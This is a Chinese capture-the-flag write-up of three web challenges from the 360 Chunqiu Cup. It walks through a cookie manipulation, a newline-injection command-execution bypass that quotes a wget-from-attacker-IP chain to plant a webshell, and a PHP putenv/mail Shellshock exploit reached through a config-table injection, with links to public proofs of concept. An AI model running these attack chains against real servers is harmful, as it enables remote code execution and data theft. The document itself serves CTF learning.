360春秋杯3道web题的简单分析
From ChaMd5安全团队核心成员 pcat&香香
where is my cat
这题一开始很坑的,存在着/.git/config这个泄露文件,而且还跟百度杯资格赛的cat题一致,那个cat题到现在还没一血,如果这题跟那题一致的话,就可以不用做了。所幸管理员说此猫非彼猫。(后期的.git文件夹都直接被移除)
这题前前后后翻找了不久,一个特别要注意的点是cookies里有一个HOST=0,一开始设置把值设置为1或者一些命令,都不见什么效果。
最后突破口在一开始访问网页的时候,浏览器会提示访问链接不安全,因为证书有问题。
查看证书发现了一个很突出的域名
在BurpSuite里修改cookies的HOST,即可获得flag。
写一写,看一看
这是一开始的页面,之后可以下载到泄露文件.index.php.swp,然后通过vi –r index.php即可还原
这里表明了,一开始进去网站就会被设置了$_SESSION['path'],这个本来是后期的一个干扰项,可我刚才去复现时发现题目又被改到不设置$_SESSION['path']值了。
这个.index.php.swp在比赛的中途也是被出题人给去掉,换成index.txt、index.bak
这题一开始得去访问exec.php
这代码就是传入shell数组,然后对其进行正则匹配,发现w(包含字母、数字、下划线)以外的字符就会退出,然后经由implode函数用空格连接数组元素变成字符串,再去exec()执行。由于正则里不允许出现./-|等,这使得常用的一些命令执行难以使用。
所幸这题是老题,这是HITCON CTF2015 Quals Web的BabyFirst,简单使用n(也就是%0a)就可以绕过常见正规表示式没有match multiline,当时官方给出的解法是:
x
mkdir orange
cd orange
wget HEXED_IP
tar cvf payload orange
php payload
整个流程就是新建文件夹,cd进去,wget下载自己服务器上的东西(记得需要以十进制ip形式或者16进制ip形式),下载的内容可以是把一句话木马内容写入文件,然后使用tar命令把整个文件夹进行归档,然后php运行这个归档文件,也就执行了命令,把一句话木马给写入了文件,最后上菜刀去操作即可。
本来本题也是可以这样来操作!但是无奈服务器崩得特别严重,只要敢访问外网,浏览器就一直转圈圈转个不停,完全是下载不了东西,一直干不了,最后去吃饭,而吃饭回来后发现出题人改了代码。
在一开始$_SESSION['path']有效的情况下,结合刚才那个.index.php.swp内容,在index.php里post提交code内容,内容可以随我们设置,然后在exec.php里只要shell里出现path字样就会替换为/.$path,这时候在不能访问外网资源的情况下,看到了一丝曙光,不过$path是在/var/www/html/path/里的,而我们exec.php进去的路径是/var/www/html/tmp/,无法访问到文件,即使文件内容写得多好,即使我们选择的命令多牛叉也没用。故此路不通。
但转念一想,出题人修改代码肯定有可以利用的地方,再仔细观看,$path为session里的值,如果session里没有值呢?下面的str_replace函数不就是给我们一个构造,让shell里的path变成/,知道这一点后,迅速在脑中搜索有用的命令,就锁定了tar,直接把/var/www/html文件夹打包到/var/www/html/tmp/chamd5里,然后浏览器访问/tmp/chamd5下载压缩包解压就可以看到flag.php
这图只要在把cookies清除就可以达到,题目后期还把首页的$_SESSION['path']去掉,再后期tar命令可以生成文件,但可能是空文件,再再后期生成不了文件。总之这个服务器的习性我早服气了。
本题考查了PHP破壳漏洞。
web根目录下有web.tar.gz归档压缩文件。拿到源码后,首先全局搜索了一遍flag{并没有找到flag。然后看了config文件,get,postcookie,request进行了全局过滤。
config.php某段代码
if(!get_magic_quotes_gpc())
{
if (!empty($_GET))
{
$_GET = addslashes_deep($_GET);
}
if (!empty($_POST))
{
$_POST = addslashes_deep($_POST);
}
$_COOKIE = addslashes_deep($_COOKIE);
$_REQUEST = addslashes_deep($_REQUEST);
}
addslashes没办法宽字节绕过。全局utf-8编码,并且数据库设置为
mysql_query("SETNAMES utf8, character_set_client=binary, sql_mode='', interactive_timeout=3600;",$conn);
$timezone= getConfig('timezone');
if($timezone!= "")
{
putenv("TZ=$timezone");
}else{
putenv("TZ=Asia/Shanghai");
}
然后想到了有没有二次注入,没发现有二次入库的地方。所以注入这条路走不通。继续看了配置文件,发现有个putenv这个东西,以前没见过,然后百度一番,发现是个增删改环境变量的东西。
在大表哥的指点下习惯性的百度了一下 php putenv 漏洞首页出现了一篇文章。http://wooyun.jozxing.cc/static/drops/tips-16054.html
里面有个poc链接https://www.exploit-db.com/exploits/35146/
看链接的意思是putenv与mail函数在同一个进程中时,会执行系统命令。
再提供一个更好看懂的poc链接
https://packetstormsecurity.com/files/129260/PHP-5.x-Bash-Shellshock-Proof-Of-Concept.html
题目叫mail,所以估计这个样子走没毛病,在send.php下发现mail函数。
下面是function.php中的getconfig和saveconfig函数。
function saveConfig($config){
global $conn;
foreach ($config as $key => $value) {
$key = addslashes_deep($key);
$strsql="select db_value from configwhere db_name='$key' limit 1";
$result=mysql_query($strsql,$conn);
$row = mysql_fetch_array($result);
if(empty($row))
{
$strsql="insert intoconfig(db_name,db_value) values('$key','$value')";
$result=mysql_query($strsql,$conn);
}else{
$strsql="update config setdb_value='$value' where db_name='$key'";
$result=mysql_query($strsql,$conn);
}
}
}
function getConfig($key){
global $conn;
$strsql="select db_value from configwhere db_name='$key' limit 1";
$result=mysql_query($strsql,$conn);
$row = mysql_fetch_array($result);
if(!empty($row))
{
return $row['db_value'];
}
return "";
}
看saveConfig函数。传进函数的$config是个数组,foreach将$config遍历了,并且$key能经过我们控制。这里是能插入payload的。继续查找哪里调用了saveConfig函数。
在options.php下面代码如下
<?php
include 'inc/function.php';
include 'inc/config.php';
if($_GET['action']== 'save')
{
$config =$_POST['config'];
saveConfig($config);
die("<script>alert('保存成功!');history.go(-1);</script>");
}
?>
只需要post,config数组到http://url/options?action=save就能控制啦。
这时候构造post 数据 config[timezone]就可以更新putenv的值了。
send.php代码截个图吧。
这里直接include('inc/config.php')文件所以putenv也在此页面中执行。满足poc要求。达到命令执行。附上写的payload脚本。
运行脚本访问,upload/1.txt 得到whoami命令内容,之后就可以随我们发挥了。再列目录到upload/chamd5.txt里
香香第一次写文章,希望大家能看明白!把web.tar.gz传上网盘了,感兴趣的小伙伴可以本地环境测试一下。
链接: https://pan.baidu.com/s/1pLpuBTh密码: uf7t
- Django 1.10中文文档-第一个应用Part2-模型和管理站点
- 亿以内所有素数(Go语言版)
- Django 1.10中文文档-第一个应用Part1-请求与响应
- 三步学会用spring开发OSGI——(第二步:工程篇)
- Golang语言 控制结构
- Python标准库笔记(1) — string模块
- 曲线点抽稀算法-Python实现
- Python判断文件是否存在的三种方法
- Golang语言 ---切片:用法和本质
- Django 1.10中文文档-第一个应用Part7-自定义管理站点
- 转--Golang语言--复合数据
- 三步学会用spring开发OSGI——(第三步:web篇)
- Python标准库笔记(5) — sched模块
- 设计模式(4)-序列生成器之单例模式
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- 神经网络优化(损失函数:自定义损失函数、交叉熵、softmax())
- C++ STL stack 用法
- 遍历string时 使用for(char& c : s) for(char c : s) 的区别
- vc dll静态函数导出
- 利用GDB调试 MSQL
- 手把手教学-MySQL主从复制架构转换MGR架构(mysq_shell版)
- 手把手教学-MySQL主从复制架构转换MGR架构(手动版)
- 云数据库VS自建数据库,到底该如何抉择?
- 组复制常规操作-事务一致性保证 | 全方位认识 MySQL 8.0 Group Replication
- 面试题-算法:二叉树的前序遍历
- 黑客帝国中的代码雨
- 模型效果评价—混淆矩阵
- 用Python中的py2neo库调用neo4j,搭建简单关联图谱
- 520表白代码合集
- neo4j的安装配置及用途